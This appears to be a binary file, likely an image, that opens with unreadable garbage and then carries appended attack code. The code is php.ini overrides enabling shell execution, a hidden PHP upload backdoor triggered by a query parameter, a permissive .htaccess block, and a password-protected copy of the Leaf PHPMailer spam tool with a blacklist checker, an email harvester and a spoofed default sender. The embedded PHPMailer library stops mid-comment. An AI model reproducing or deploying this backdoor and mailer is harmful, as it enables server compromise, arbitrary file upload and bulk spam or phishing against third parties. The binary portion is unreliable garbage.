~,*.*\ڍk&_yp=TYݣZN,W+yS7peVwefrjvxihn6ݍ^@f*=inv[
o@v|yK	oв"+^nj	kiSX2(	icϷHh8}!rpYcK^߿vn;xR
$Z-ʹ̈=Yau~Oi'Չjl|J~(ͬ08 goyzpuclwi%~{@2*Dax?G&u׵R;+	G1kHXy?=!bH^Igcܕ]	Hs_SC?oL
XS7ܬzYM`2U\D{	'Ce!PGə
fgoyzpuclwi²\a0FrUnT` gyRƷCr5bVfO:ys kfȖԅtfxN*Mb;*kMOkp1)
 yGT*K{ 8	FsAkݪϹwEaps_xa	`քoWZ$JGWZ
i)g
gߡ.9Po$1+ZjOM%YD kKMT䒲'Y	J,{GڱzIpj,Un󵊗JUr|8lYz(9&$Vn!5)p5 UD5]ūڡDfpɐ)jkn}ҶQ=M½Mq+å:hfg6d {r`P񏛍91ar3mdr8'sJNVVWb$Q-4iV(F#?R]"Tɫu-߹fD ]qFȼШe7#Vx֧)o˿fROgZGsȄ|xp,Mog'*sj0qqe6a$uJ/~FoSM9sHc\%zbwefrjvxihnM͏|3Oߚ*:FMf,C={tv2iqėgΕi
:'zpQ-,΁uN!yY·ܶ+R6ve&v⌑]8u*Fr:$:U F?F/l,`Dn3i0"
wzKQWB/I__G@Ad+3ցQ3Zx*\w}.}3n`h\JQgoyzpuclwiIZNu'St1Q.~xF3goyzpuclwiBޮ+*P~V7q$ډE|wu~]2˦=3SP&9Nwefrjvxihnur3 Ư:E8,&O-S"hvVk wefrjvxihn&_5c&MdnY{2FeB	Bys|UÚ|, d#C0;|F6.goyzpuclwi-PV2 ]7)(hwefrjvxihn^`l!O\XrgO5O˗(	o	==J;NbZ4mT@3 `al1Tt,fPNwefrjvxihnT@LCZw**]g(`m`ʕ(ru}As'WkLL6i[`6%2HWyG-Q~)wefrjvxihnv?wefrjvxihn?3f6oQáXE^I;O+o/u-&׿iiIx&LDIcXJ&NUON)'x~}WDz1;[G*U*ܟPOz=F(d:0u^O[Kq3i6߸3k^R
%p U$ c
smzfwEyFE`3!)YT"(ЀB֓֏(.Jvwk9goyzpuclwiuee{?X}7j8"KKq7KA(GP6 Wf*I\ICE1, !&e2:d wXI36l;#JFg}Q zGfJANGfّe2~Nv@B6/ɚZq׮[lmat9V
!dVǻK[b%9!?r{\^
h;tqXu 	KS{֡}m(zLiJގO2ג`藹zJ4LBe%DA3At& ģcsTFYfo|Z3|d5~zjx4'/K8._8#(˙ͬ!?יt% 1gKm/ߜaf!YyqlOI,dd4,0^{)ςQp2F'C(DQgoyzpuclwi5E1ß48j:T؞UQ܉ʛ}/!l'n/h5gj[8O_J׃,2y{ay&:!pNe9m7pM83	z9m2d-4?M9?ЦS5yWf=xyѤ^C9ׯcz#!~2fLT:z`rEs"WFs!2㱁[J2
2giPV
1?\BoR[Pi"K"E;#q@yys(&yLG!q+1goyzpuclwiL_mQ}URpZ8f`c[jAf*šcr.Є[;
bo(TMiSX	ay"i( .,~ŀ"m%cU;.Ugoyzpuclwiܪ}t.H,~RXJ90@=_}goyzpuclwi&W8)ɷ侍c.Þ|#˿+*Y˅lIepʚL 5f︈^
ksQ/Â)?_J&;!0#goyzpuclwiʾySn|;uQp6Lh+AIUN'iڸ3×M0 ;(:-+dʩZusy꺔xL2(ē7n!SXpVw/mE
_M,Cb,IρF=))wMjdׅ$[6L	jr#;i٘Ɔ
7R%'jh{goyzpuclwi_|$^^[Q7{*D~4wxTULt$VhgoyzpuclwiQ G4_	7Ouz;k!#}wefrjvxihn|ZۈpH0kE]}HOOof$q#圷Z!t8mo~3-te^TRtd_#cbn1#A
	8,bگ|,ݒt[}iaW&RB}U$D\lj $x|lT:g[Y4Bm9[hmy*Gh_ifdxcbIhG'3Nd@YR0iwSE+x[YƄѾ?}Jȷq'9AMH  wefrjvxihn@r}WgoyzpuclwiRZW0dA@)2˥JG~SiOτZ`I1^u$ggoyzpuclwiRElw.ăx]qqEȨՈ^/g&YhY&|oz!g~8goyzpuclwi
_goyzpuclwi|O^rqm(NV~r3e3jFt@goyzpuclwiF*u\ԧfPk&H4򃞕_usp/7hwefrjvxihn MM	졯D~仜oK1;a@w
%]Nmktǽ:wefrjvxihnXōtw)ynB1c`1ŻjA`3܆Ro`Vtɪ9*q&
G	d};v
u\_3G@]sV@7e	/0^|-R)h@Ka0X&(j'GGM'-N;KeZ|=o*aodJ}"np1~qKIwe+\;Ӥ)TiKQ{9*Kk/$$uR@sa#\_wpj1|K
#(/{O{`Y? Y-bsaF3ER"fɚcՁ.=wyV5
Üg':.wefrjvxihnW6:wj[ƃ:	4EH=O~%J:&5xNA#
#uW~&7wefrjvxihnwefrjvxihnP I2kK O9M+Y24]GS@)&1v('|	#$wefrjvxihnod%M|3_!;v
P56öcF]@ i¯@]0%EfodnZDk 'Kܣ7@h
|%\R?Ċ5@U0u ԞOIG8ǡ䮈=YPبU k֢S,\;Z؉p@4d夵Wɰ	_/d@Wr\@e˩Kvzuq&OJ !	,t#À&wϜ/jgoyzpuclwiHꀷv'RփCɜ;,q)sرbutwgoyzpuclwi1ȁ`oedؑSn=2ӡDDiGwefrjvxihnsJGป,vIu_U1p"7@y69뷘c\-=eK'b{5givݓT/΅ } "pSc)^,[-hˌ+d7jꟓa2'br5=:0ubnwMz}M`^@(16.&!ʄo_6txOAaܫXsKiO .Gk(29zш?	'˒j¼nY
sx]{qCYx8L.SxU-gf\wefrjvxihnߨ+/o	 
E)_~6Xk/DȈ2,"D.&-
S5ě@p׎晙
":?"%o7)B.Viٌ&4Y1,v;Lu 0FMњ7w(~fqt?U?h3oɴX+1	@u:GYa2bi|$`Omww?پAQ\\D?!wLfGe],3wK!'TD1;7w?g'0jAIOD87 )`Oqƨ.m388jt̕ɟN{2HgoyzpuclwiO:Z[(/#*X˱dgoyzpuclwi/0}ik
ye鞒740s"yԧ:*}.hq?
^3 eI//
u4UP3?"*tI5 zeOt}Ĝ-n 	zPgoyzpuclwiS.].
syl40̲Flz|Oވs-v8hsRpOCZQuwDHp)443H7l;ny1͎{y"hD2ĺ:X= 6 f68=ixUK݊&Sx`c&
%9Yv#\3sd}YvXw ji
ڭ
ΡlRͥ ɰu~̠ZjZz^uZ]K2)Bwefrjvxihn11 Oވ?
)1
 
kMԜ:@
OKqY	ۓut7樛WU.4݇GZwK#9fVXfxYTո2bloc-!$9:IQ0,`jT2ww-%C۫xqkc~|DJ0$V[1J}Q
.$ACf*ѤL`bTv;N9Đ(
x8F]pbP&ii/O抌W0dĸ: Xci^)NAm)v#uh@:퐊Z VX9R`
HpQIϹ )n- k=8Bn~z:#dL8yy/,|@-U"=
QgoyzpuclwiP7/	bjb A0a,?'zI;*I%
䜁#uQ4
qYpq Yь|տ,R`EMFJz}fXmsc?nW@E)5.Tfƺwefrjvxihn԰bB@L°G^JZ%"_P2%}"k&YS8T*ԥ9ĜFwefrjvxihn~ϋ޼goyzpuclwiVZwt4wefrjvxihn)3r0=
*ΫĪ3l(ul!vD
,ћ|K0T_@8\ˀ4)/ˁ҅\5M.?]"nUT{/wefrjvxihn}%}LaVS6^ZC~(D!*U?PY~m$R	4C(Z9ejY[-ՖiSOi9g/PdgzrQwefrjvxihn"|p
DMU$wefrjvxihnڅeI
[Ջ4"*ڎ$28RIwefrjvxihnO]̥e;- 醐(f_vٚ2%At6E*LVoR(ueH%3tNe;tD[qt	줓TrWPj(U.KQ4ߛVWwefrjvxihn[S+ҤhI(R[KX+,P0Pf0g$C@D5|Hh| ty.Xz_slƭ('mi/:Y*3EXnқ㨄EwefrjvxihnRs+$᱕^oȢM~;g
i]t
/P2jYXiͯ)"z2VvDfIT6G!V}l;\eQL	xRؠF)~caJÓ#-"1lUӬ9
|bjgd0PR%
,Qj*~=8wefrjvxihnjP%MvKwefrjvxihn
myɠ򛒴S}D#iރNKEڄ(%.
TdWA[ӡfݰ-fUUtdN4p儦N'
lctc6v'1
D,W n{ċ7jkpm"n1C=\	c	,
9jM#&5CF{!x^YK/uĔ
T0w+Xd-CFQާOϽ_s0ï@ś.;O;
nϋvs{΅	6f!goyzpuclwi1q`YwefrjvxihnJ޴eq}`p$ckBoopigoyzpuclwigoyzpuclwiCxpKd/&ۧjGX#Lкrڔ!:zXWڈG$_	9ÉŶgoyzpuclwiUg{6{4F3
\빗ovgoyzpuclwiV~
3-[
ط5}N-mħUYaDloONE~1r(b[j;heoMQ:u"vg^]lugoyzpuclwi*hؙv#ݯKj݄Sކ;]Dqj:ΗĀY~5ɆŠ\Jqƅ~r!;Ͳ,i[M'De؆}#1UA7jqa}pmgoyzpuclwiW
|
AQnS[(faPRhL5*319`/11	LZƤ`o ;סg\^yJ0' ;p硯3;.M
x]DB6K
c#؋Qb::@L}.SogoyzpuclwiƯelq1#ᆦ;(K?_Oov=*eʝ14omU-bsf}(GGB81E-(:qdZ"T?=oS)hϻfbk\6!*diZ*PS/) ڟ%(_
`َ: Z/5wefrjvxihnF=
ç`j|GU 8r
2(K8cYO\x]W7a-	'(" H1aS{}\#"Rxlv g-mw=z=
YwefrjvxihnRulδQgvzr`xWi$.V͏T7Ѫ{	i4F({Lv1V?D5D  h
15p/bկ_	NQZ+GEqX'@ShUflD4//B}Iws3+glj{?yL@Y	2ɛp	goyzpuclwi#jtrI[uE3ExpĽbќR6YMZJ=Zlwefrjvxihn&S\'gżgg}s-M WkA䶵i_~W	\@cgoyzpuclwiNFN$
X_:Fsñ:Dgoyzpuclwij]h{^Pb	0+O)B%Fv+7`?cb! P:8vݟISGb/D9mlCq&
:TmO/Ve
HvM
25lJ!'j+[Q'b'8[KhlgFl9yg9:KK?LfOxxĎ'uW?LKuwefrjvxihnk\ykle4`2ό&u)cy+`e,%hlKW=zHQ#ήk.WPc)Y@ǐxhwefrjvxihn2N@sNJ܇jgp%'	C:1tyB܏eiY2
^풮#6]/:D0x\lYN}	3X8"hzI5Sλp͛ĉ]e@HL~XMYMbY;Gjt5	Q
8
H#]XgP"Irʉׁ{~Z=*s@DKywefrjvxihnwefrjvxihnNi?R.dIaFC2lNeR3Y[{sj+RoUbޑE(_xY!8C˳dvD@!͸%سb@T`YR18 ̿9BԑU)P$dX&t\Drkx']X{gp@wւ5!k=5nzS=5zi8UP\=0?'
m-z@ޚEGmM.9goyzpuclwiZw0[nW︦O@(4Φ=\[W	S2ʩ&KexyN17wڮQn2.an0K! ?Я?9)L^fw;Ҫ tz&щc
ָ/K	goyzpuclwivhsn~6f;/(|g"gDNsv_E_Cf]|btj	goyzpuclwi7\cy0uϫ M8kLMj^gsQ-#1E#wefrjvxihnV
ĞUo8Xk%,u%{ӭWJ%X7prAdM:6
CON	lxPcP4"L152CwefrjvxihnNO,ȽopOu"1} D4$[L7+xu|J)4GFEYֆ7phʦOsnİMz 
S[7?goyzpuclwi#~nr?c6VP	CA"e4XwefrjvxihnGa٣zuGt]H[&" }}ʉzGN*:%LAs@ʏZk)6vnO}]Jb$_eEBuj~k|?ʇ8/oϯ=WKsafe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php

$password = "b7Mv6Csm1VI";

session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);

$leaf['version']="2.8";
$leaf['website']="leafmailer.pw";


$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
        $_SESSION[$sessioncode] = $password;
    }
    else {
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
        exit;        
    }
}

session_write_close();


function leafClear($text,$email){
	$e = explode('@', $email);
	$emailuser=$e[0];
	$emaildomain=$e[1];
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
    $text = str_replace("[-email-]", $email, $text);
    $text = str_replace("[-emailuser-]", $emailuser, $text);
    $text = str_replace("[-emaildomain-]", $emaildomain, $text);
    $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
    $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
    $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
    $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
    return $text;  
}
function leafTrim($string){
	$string=urldecode($string);
    return stripslashes(trim($string));
}
function randString($consonants) {
    $length=rand(12,25);
    $password = '';
    for ($i = 0; $i < $length; $i++) {
            $password .= $consonants[(rand() % strlen($consonants))];
    }
    return $password;
}
function leafMailCheck($email){
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
    else return false;
}
# Bulit-in BlackList Checker 
if(isset($_GET['check_ip'])){
    if (isset($_GET['host'])){
        $_GET['host']=explode(",", $_GET['host']);
        foreach ($_GET['host'] as $host) {
            if (checkdnsrr($_GET['check_ip'] . "." .  $host . ".", "A")) $check= "<font color='red'> Listed</font>";
            else $check= "<font color='green'> Clean</font>";
            print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
        }

        exit;
    }
    $dnsbl_lookup = array(
        "all.s5h.net",
        "b.barracudacentral.org",
        "bl.spamcop.net",
        "blacklist.woody.ch",
        "bogons.cymru.com",
        "cbl.abuseat.org",
        "cdl.anti-spam.org.cn",
        "combined.abuse.ch",
        "db.wpbl.info",
        "dnsbl-1.uceprotect.net",
        "dnsbl-2.uceprotect.net",
        "dnsbl-3.uceprotect.net",
        "dnsbl.anticaptcha.net",
        "dnsbl.dronebl.org",
        "dnsbl.inps.de",
        "dnsbl.sorbs.net",
        "drone.abuse.ch",
        "duinv.aupads.org",
        "dul.dnsbl.sorbs.net",
        "dyna.spamrats.com",
        "dynip.rothen.com",
        "http.dnsbl.sorbs.net",
        "ips.backscatterer.org",
        "ix.dnsbl.manitu.net",
        "korea.services.net",
        "misc.dnsbl.sorbs.net",
        "noptr.spamrats.com",
        "orvedb.aupads.org",
        "pbl.spamhaus.org",
        "proxy.bl.gweep.ca",
        "psbl.surriel.com",
        "relays.bl.gweep.ca",
        "relays.nether.net",
        "sbl.spamhaus.org",
        "short.rbl.jp",
        "singular.ttk.pte.hu",
        "smtp.dnsbl.sorbs.net",
        "socks.dnsbl.sorbs.net",
        "spam.abuse.ch",
        "spam.dnsbl.anonmails.de",
        "spam.dnsbl.sorbs.net",
        "spam.spamrats.com",
        "spambot.bls.digibase.ca",
        "spamrbl.imp.ch",
        "spamsources.fabel.dk",
        "ubl.lashback.com",
        "ubl.unsubscore.com",
        "virus.rbl.jp",
        "web.dnsbl.sorbs.net",
        "wormrbl.imp.ch",
        "xbl.spamhaus.org",
        "z.mailspike.net",
        "zen.spamhaus.org",
        "zombie.dnsbl.sorbs.net",
    );
    $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
    $dnsT = count($dnsbl_lookup);
    leafheader();
    print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
    Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b>  anti-spam databases:<br>";
    $dnsN="";
    print '<table >';
    for ($i=0; $i < $dnsT; $i=$i+10) { 
        $host="";
        $hosts="";
        for($j=$i; $j<$i+10;$j++){
            $host=$dnsbl_lookup[$j];
            if(!empty($host)){
                print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
                $hosts .="$host,";
            }
        }
        $dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
    }

    print '</table></div>';
    print $dnsN;
    exit;
}
if(isset($_GET['emailfilter'])){

    if(!empty($_FILES['fileToUpload']['tmp_name'])){
        $_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]); 
    }
    $_POST['emailList']=strtolower($_POST['emailList']);
   if($_GET['emailfilter']=="ifram"){
        if ($_POST['resulttype'] == "download"){
            header("Content-Description: File Transfer"); 
            header("Content-Type: application/octet-stream"); 
            header("Content-Disposition: attachment; filename=emails".time().".txt");
        }
        else {
            header("Content-Type: text/plain");
        }
    if($_POST['submit']=="extract"){
        $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
        preg_match_all($pattern, $_POST['emailList'], $matches);
        foreach ($matches[0] as $email) {
            print $email."\n";
        }
    }
    elseif ($_POST['submit']=="filter") {
        $emails=explode("\n", $_POST['emailList']);
        $keywords=explode("\n", strtolower($_POST['keywords']));
        foreach ($emails as $email) {
            foreach ($keywords as $keyword ) {
                if(strstr($email, $keyword) ){
                    print $email."\n";
                     break;
                }
               
            }
        }

    }
    exit;
   }
   leafheader();
   print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
   print '
    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> 
        or

        <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
      <div class="col-lg-12">
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="here" checked="">
            Show Result in this page
          </label>
        </div>
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="download">
            Download Result (for big numbers)
          </label>
        </div>
      </div>
            <legend><h4>Extract Email</h4></legend>
            Detecting every email (100%) and order them line by line <br><br>
        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
            <legend><h4>Filter Emails</h4></legend>
        <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>

            <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
    </form>
    <label >Result </label>
    <iframe style="border:none;width:100%;" name="my-iframe"  src="?emailfilter=ifram" ></iframe>
   ';
   exit;

}
$html="checked";
$utf8="selected";
$bit8="selected";

if($_POST['action']=="send" or $_POST['action']=="score"){

    $senderEmail=leafTrim($_POST['senderEmail']);
    $senderName=leafTrim($_POST['senderName']);
    $replyTo=leafTrim($_POST['replyTo']);
    $subject=leafTrim($_POST['subject']);
    $emailList=leafTrim($_POST['emailList']);
    $messageType=leafTrim($_POST['messageType']);
    $messageLetter=leafTrim($_POST['messageLetter']);
    $encoding = $_POST['encode'];
    $charset = $_POST['charset'];
    $html="";
    $utf8="";
    $bit8="";

    if($messageType==2) $plain="checked";
    else $html="checked";

    if($charset=="ISO-8859-1") $iso="selected";
    else $utf8="selected";

    if($encoding=="7bit") $bit7="selected";
    elseif($encoding=="binary") $binary="selected";
    elseif($encoding=="base64") $base64="selected";
    elseif($encoding=="quoted-printable") $quotedprintable="selected";
    else $bit8="selected";



}
if($_POST['action']=="view"){
	$viewMessage=leafTrim($_POST['messageLetter']);
	$viewMessage=leafClear($viewMessage,"user@domain.com");
	if ($_POST['messageType']==2){
		print "<pre>".htmlspecialchars($viewMessage)."</pre>";
	}
	else {
		print $viewMessage;
	}
	exit;
}



if(!isset($_POST['senderEmail'])){
    $senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
    if (!leafMailCheck($senderEmail)) $senderEmail="";
}

class PHPMailer
{
    /**
     * The PHPMailer Version number.
     * @var string
     */
    public $Version = '5.2.28';

    /**
     * Email priority.
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
     * When null, the header is not set at all.
     * @var integer
     */
    public $Priority = null;

    /**
     * The character set of the message.
     * @var string
     */
    public $CharSet = 'iso-8859-1';

    /**
     * The MIME Content-type of the message.
     * @var string
     */
    public $ContentType = 'text/plain';

    /**
     * The message encoding.
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
     * @var string
     */
    public $Encoding = '8bit';

    /**
     * Holds the most recent mailer error message.
     * @var string
     */
    public $ErrorInfo = '';

    /**
     * The From email address for the message.
     * @var string
     */
    public $From = 'root@localhost';

    /**
     * The From name of the message.
     * @var string
     */
    public $FromName = 'Root User';

    /**
     * The Sender email (Return-Path) of the message.
     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
     * @var string
     */
    public $Sender = '';

    /**
     * The Return-Path of the message.
     * If empty, it will be set to either From or Sender.
     * @var string
     * @deprecated Email senders should never set a return-path header;
     * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
     */
    public $ReturnPath = '';

    /**
     * The Subject of the message.
     * @var string
     */
    public $Subject = '';

    /**
     * An HTML or plain text message body.
     * If HTML then call isHTML(true).
     * @var string
     */
    public $Body = '';

    /**
     * The plain-text message body.
     * This body can be read by mail clients that do not have HTML email
     * capability such as mutt & Eudora.
     * Clients that can read HTML will view the normal Body.
     * @var string
     */
    public $AltBody = '';

    /**
     * An iCal message part body.
     * Only supported in simple alt or alt_inline message types
     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
     * @link http://kigkonsult.se/iCalcreator/
     * @var string
     */
    public $Ical = '';

    /**
     * The complete compiled MIME message body.
     * @access protected
     * @var string
     */
    protected $MIMEBody = '';

    /**
     * The complete compiled MIME message headers.
     * @var string
     * @access protected
     */
    protected $MIMEHeader = '';

    /**
     * Extra headers that createHeader() doesn't fold in.
     * @var string
     * @access protected
     */
    protected $mailHeader = '';

    /**
     * Word-wrap the message body to this number of chars.
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
     * @var integer
     */
    public $WordWrap = 0;

    /**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     * @var string
     */
    public $Mailer = 'mail';

    /**
     * The path to the sendmail program.
     * @var string
     */
    public $Sendmail = '/usr/sbin/sendmail';

    /**
     * Whether mail() uses a fully sendmail-compatible MTA.
     * One which supports sendmail's "-oi -f" options.
     * @var boolean
     */
    public $UseSendmailOptions = true;

    /**
     * Path to PHPMailer plugins.
     * Useful if the SMTP class is not in the PHP include path.
     * @var string
     * @deprecated Should not be needed now there is an autoloader.
     */
    public $PluginDir = '';

    /**
     * The email address that a reading confirmation should be sent to, also known as read receipt.
     * @var string
     */
    public $ConfirmReadingTo = '';

    /**
     * The hostname to use in the Message-ID header and as default HELO string.
     * If empty, PHPMailer attempts to find one with, in order,
     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
     * 'localhost.localdomain'.
     * @var string
     */
    public $Hostname = '';

    /**
     * An ID to be used in the Message-ID header.
     * If empty, a unique id will be generated.
     * You can set your own, but it must be in the format "<id@domain>",
     * as defined in RFC5322 section 3.6.4 or it will be ignored.
     * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
     * @var string
     */
    public $MessageID = '';

    /**
     * The message Date to be used in the Date header.
     * If empty, the current date will be added.
     * @var string
     */
    public $MessageDate = '';

    /**
     * SMTP hosts.
     * Either a single hostname or multiple semicolon-delimited hostnames.
     * You can also specify a different port
     * for each host by using this format: [hostname:port]
     * (e.g. "smtp1.example.com:25;smtp2.example.com").
     * You can also specify encryption type, for example:
     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
     * Hosts will be tried in order.
     * @var string
     */
    public $Host = 'localhost';

    /**
     * The default SMTP server port.
     * @var integer
     * @TODO Why is this needed when the SMTP class takes care of it?
     */
    public $Port = 25;

    /**
     * The SMTP HELO of the message.
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
     * one with the same method described above for $Hostname.
     * @var string
     * @see PHPMailer::$Hostname
     */
    public $Helo = '';

    /**
     * What kind of encryption to use on the SMTP connection.
     * Options: '', 'ssl' or 'tls'
     * @var string
     */
    public $SMTPSecure = '';

    /**
     * Whether to enable TLS encryption automatically if a server supports it,
     * even if `SMTPSecure` is not set to 'tls'.
     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
     * @var boolean
     */
    public $SMTPAutoTLS = true;

    /**
     * Whether to use SMTP authentication.
     * Uses the Username and Password properties.
     * @var boolean
     * @see PHPMailer::$Username
     * @see PHPMailer::$Password
     */
    public $SMTPAuth = false;

    /**
     * Options array passed to stream_context_create when connecting via SMTP.
     * @var array
     */
    public $SMTPOptions = array();

    /**
     * SMTP username.
     * @var string
     */
    public $Username = '';

    /**
     * SMTP password.
     * @var string
     */
    public $Password = '';

    /**
     * SMTP auth type.
     * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
     * @var string
     */
    public $AuthType = '';

    /**
     * SMTP realm.
     * Used for NTLM auth
     * @var string
     */
    public $Realm = '';

    /**
     * SMTP workstation.
     * Used for NTLM auth
     * @var string
     */
    public $Workstation = '';

    /**
     * The SMTP server timeout in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
     * @var integer
     */
    public $Timeout = 300;

    /**
     * SMTP class debug output mode.
     * Debug output level.
     * Options:
     * * `0` No output
     * * `1` Commands
     * * `2` Data and commands
     * * `3` As 2 plus connection status
     * * `4` Low-level data output
     * @var integer
     * @see SMTP::$do_debug
     */
    public $SMTPDebug = 0;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     *
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     * <code>
     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * </code>
     * @var string|callable
     * @see SMTP::$Debugoutput
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to keep SMTP connection open after each message.
     * If this is set to true then to close the connection
     * requires an explicit call to smtpClose().
     * @var boolean
     */
    public $SMTPKeepAlive = false;

    /**
     * Whether to split multiple to addresses into multiple messages
     * or send them all in one message.
     * Only supported in `mail` and `sendmail` transports, not in SMTP.
     * @var boolean
     */
    public $SingleTo = false;

    /**
     * Storage for addresses when SingleTo is enabled.
     * @var array
     * @TODO This should really not be public
     */
    public $SingleToArray = array();

    /**
     * Whether to generate VERP addresses on send.
     * Only applicable when sending via SMTP.
     * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @link http://www.postfix.org/VERP_README.html Postfix VERP info
     * @var boolean
     */
    public $do_verp = false;

    /**
     * Whether to allow sending messages with an empty body.
     * @var boolean
     */
    public $AllowEmpty = false;

    /**
     * The default line ending.
     * @note The default remains "\n". We force CRLF where we know
     *        it must be used via self::CRLF.
     * @var string
     */
    public $LE = "\n";

    /**
     * DKIM selector.
     * @var string
     */
    public $DKIM_selector = '';

    /**
     * DKIM Identity.
     * Usually the email address used as the source of the email.
     * @var string
     */
    public $DKIM_identity = '';

    /**
     * DKIM passphrase.
     * Used if your key is encrypted.
     * @var string
     */
    public $DKIM_passphrase = '';

    /**
     * DKIM signing domain name.
     * @example 'example.com'
     * @var string
     */
    public $DKIM_domain = '';

    /**
     * DKIM private key file path.
     * @var string
     */
    public $DKIM_private = '';

    /**
     * DKIM private key string.
     * If set, takes precedence over `$DKIM_private`.
     * @var string
     */
    public $DKIM_private_string = '';

    /**
     * Callback Action function name.
     *
     * The function that handles the result of the send email action.
     * It is called out by send() for each email sent.
     *
     * Value can be any php callable: http://www.php.net/is_callable
     *
     * Parameters:
     *   boolean $result        result of the send action
     *   array   $to            email addresses of the recipients
     *   array   $cc            cc email addresses
     *   array   $bcc           bcc email addresses
     *   string  $subject       the subject
     *   string  $body          the email body
     *   string  $from          email address of sender
     * @var string
     */
    public $action_function = '';

    /**
     * What to put in the X-Mailer header.
     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
     * @var string
     */
    public $XMailer = ' ';

    /**
     * Which validator to use by default when validating email addresses.
     * May be a callable to inject your own validator, but there are several built-in validators.
     * @see PHPMailer::validateAddress()
     * @var string|callable
     * @static
     */
    public static $validator = 'auto';

    /**
     * An instance of the SMTP sender class.
     * @var SMTP
     * @access protected
     */
    protected $smtp = null;

    /**
     * The array of 'to' names and addresses.
     * @var array
     * @access protected
     */
    protected $to = array();

    /**
     * The array of 'cc' names and addresses.
     * @var array
     * @access protected
     */
    protected $cc = array();

    /**
     * The array of 'bcc' names and addresses.
     * @var array
     * @access protected
     */
    protected $bcc = array();

    /**
     * The array of reply-to names and addresses.
     * @var array
     * @access protected
     */
    protected $ReplyTo = array();

    /**
     * An array of all kinds of addresses.
     * Includes all of $to, $cc, $bcc
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     */
    protected $all_recipients = array();

    /**
     * An array of names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $all_recipients
     * and one of $to, $cc, or $bcc.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     * @see PHPMailer::$all_recipients
     */
    protected $RecipientsQueue = array();

    /**
     * An array of reply-to names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $ReplyTo.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
